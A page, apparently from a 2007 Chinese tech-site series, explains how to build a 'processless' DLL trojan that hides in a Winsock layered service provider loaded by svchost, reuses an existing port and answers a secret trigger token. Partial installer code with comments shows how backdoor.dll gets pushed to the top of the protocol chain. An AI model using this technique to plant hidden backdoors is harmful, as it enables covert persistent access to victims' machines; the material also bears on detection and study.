文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术网络安全无进程DLL木马开发思路与实现
精品推荐
特别推荐
·无线入侵的技术细节
·SQL注入和CSS攻击的检测
·详解:五种Windows常用密码设置
·浅析黑客攻击时的常用方法和攻击步骤
·不怕攻击 家庭上网必学八招安全绝招
·入门者如何获取肉鸡
·Linux安全配置步骤简述
·Wi-Fi网络安全探讨及组网策略
·网页病毒的概念
·保障您网站安全的十点技巧
·技巧:网上交易密码保护的几种窍门
·六个简单方法防止上网被钓鱼
·PING命令的小秘密
·安全第一 网络端口扫描技术介绍
·十大网络工具帮你审核网络安全
·信息安全问题需解决方案
·多角度详细解释网站安全保护方法
·端口截听实现端口隐藏,嗅叹与攻击
·用Win NT/2K 建WEB站点安全指南
·实现 Web 应用程序安全的捷径
热点TOP10
·解析远程控制带来的安全危险
·内网数据库服务器入侵实战
·保障您网站安全的十点技巧
·不怕攻击 家庭上网必学八招安全绝招
·检查并堵住网站的eWebEditor漏洞
·安全漏洞的起因:ActiveX技术安全报告
·安全支招:构筑密码城堡
·详解:五种Windows常用密码设置
·入侵常见技术大曝光
·动网提升再提升之老鬼不是人
·邪恶八进制内部隐藏工具NOFILE
·恶意代码(网页病毒)[破解方法]
·黑客攻击步骤-如何获得IP
·我是这样走进韩国肉鸡的
·MD5 Password Cracker 一个国外的md5爆破工具(速度极快)
·入门者如何获取肉鸡
·使用 OpenSSL API 进行安全编程
·恢复本来面目 消除JPEG图片马赛克
·Webmaster网络安全讲座:4.账号安全
·内部安全从工作站抓起

无进程DLL木马开发思路与实现

日期:2007年2月13日 作者:清风网络学院 查看:[大字体 中字体 小字体]




三)基于SPI的DLL木马技术 
上面我们已经介绍了传输服务提供者的特性,现在让我们来看看如果将这种技术运用于木马进程隐藏的。在每个操作系统中都有系统网络服务,它们是在系统启动时自动加载,而且很多是基于IP协议的。如果我们书写了一个IP协议的传输服务提供者,并安装在服务提供者数据库的最前端,系统网络服务就会加载我们的服务提供者。如果将木马程序嵌入到服务提供者的DLL文件之中,在启动系统网络服务时我们的木马程序也会被启动。这种形式的DLL木马只须被安装一次,而后就会被自动加载到可执行文件的进程中,还有一个特点就是它会被多个网络服务加载。通常在系统关闭时,系统网络服务才会结束,所以我们的木马程序同样可以在系统运行时保持激活状态。 
在传输服务提供者中,有30个SPI函数是以分配表的形式存在的。在Ws2_32.dll中的大多数函数都有与之对应的传输服务提供者函数。如WSPRecv和WSPSend,它们在Ws2_32.dll中的对应函数是WSARecv和WSASend。我们假设自己编写了一个基于IP协议的服务提供者并安装于系统之中,当系统重启时它被svchost.exe程序加载了,而且svchost.exe在135/TCP监听,完事具备了。在我们的传输服务提供者中,自己重新编写了WSPRecv函数,对接收到的数据进行分析,如果其中含有客户端发送过来的暗号,就执行相应的命令获得期望的动作,之后我们可以调用WSPSend函数将结果发送到客户端,这样不仅隐藏了进程,而且还重用了已有的端口。 


四)主要代码分析 
1.instBD.exe 
可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。 


自定义函数: 
BOOL getfilter(); //获得所有已经安装的传输服务提供者 
void freefilter(); //释放存储空间 
void installfilter(); //安装分层协议,协议链及排序 
void removefilter(); //卸载分层协议和协议链 


代码分析: 
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize); 
//分配WSAPROTOCOL_INFOW结构的存储空间 
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode); 
//获得系统中已安装的所有服务提供者 
GetCurrentDirectory(MAX_PATH,filter_path); 
//得到当前的路径 
_tcscpy(filter_name,_T("\\backdoor.dll")); 
//构造服务提供者文件backdoor.dll的路径全名 
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode); 
//安装自定义的IP分层协议 
iplayercataid=protoinfo[i].dwCatalogEntryId; 
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid; 
//将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端 
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode); 
//安装协议链 
WSCWriteProviderOrder(cataentries,totalprotos); 
//更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列 
WSCDeinstallProvider(&filterguid,&errorcode); 
//卸载IP分层协议 
WSCDeinstallProvider(&filterchainguid,&errorcode); 
//卸载协议链 


2.backdoor.dll 
传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由Ws2_32.dll加载,在用完之后就被卸载。传输服务提供者只有一个入口函数就是WSPStartup,它是Windows Socket 应用程序调用SPI的初始化函数,其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。其中有个全局变量,可共所有调用DLL的程序读取与修改。在首次加载服务提供者时,我们启动木马进程。演示中木马进程没有任何特别的功能,当客户端和监听的服务器端口连接后,如果客户端发送了特定的暗号,服务端就会回送特定的消息。 

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 




上一篇:无盘工作站2000终端全攻略

下一篇:极限软件电影下载密技

无进程DLL木马开发思路与实现 相关文章:
·Windows系统进程列表完全解析
·利用C++ Builder开发动画DLL
·在PB中如何实现数据模糊查询
·警惕高危木马病毒 随意下载病毒窃密码
·C#程序开发中的常用函数汇总
·PB动态报表格式自由定义的实现
·Visual Studio 2005集成开发环境图解
·PB程序中在普通激光打印机上实现条码打印
·不用任何软件(木马程序)盗取账号密码
·编辑、保存和管理电脑进程知识库
无进程DLL木马开发思路与实现 相关软件:
·中国少年儿童智力开发百科全书(上中下)高清PDF全彩图书
·TCP-IP详解卷2:实现
·孙鑫VC++从入门到精通开发详解视频教程FLASH版
·“征途木马”病毒专杀工具 V3.3
·进程管理王 V1.54
·金山木马专杀 下载版
·“魔兽木马”病毒专杀 V3.0
·进程执法官 V2.20 个人正式版
·木马捆绑克星 V2.5 Build 0503
·Aerial Antics(实现你的飞翔梦) V1.0

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.net
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved. 鄂ICP备05000083号Powered by:viphot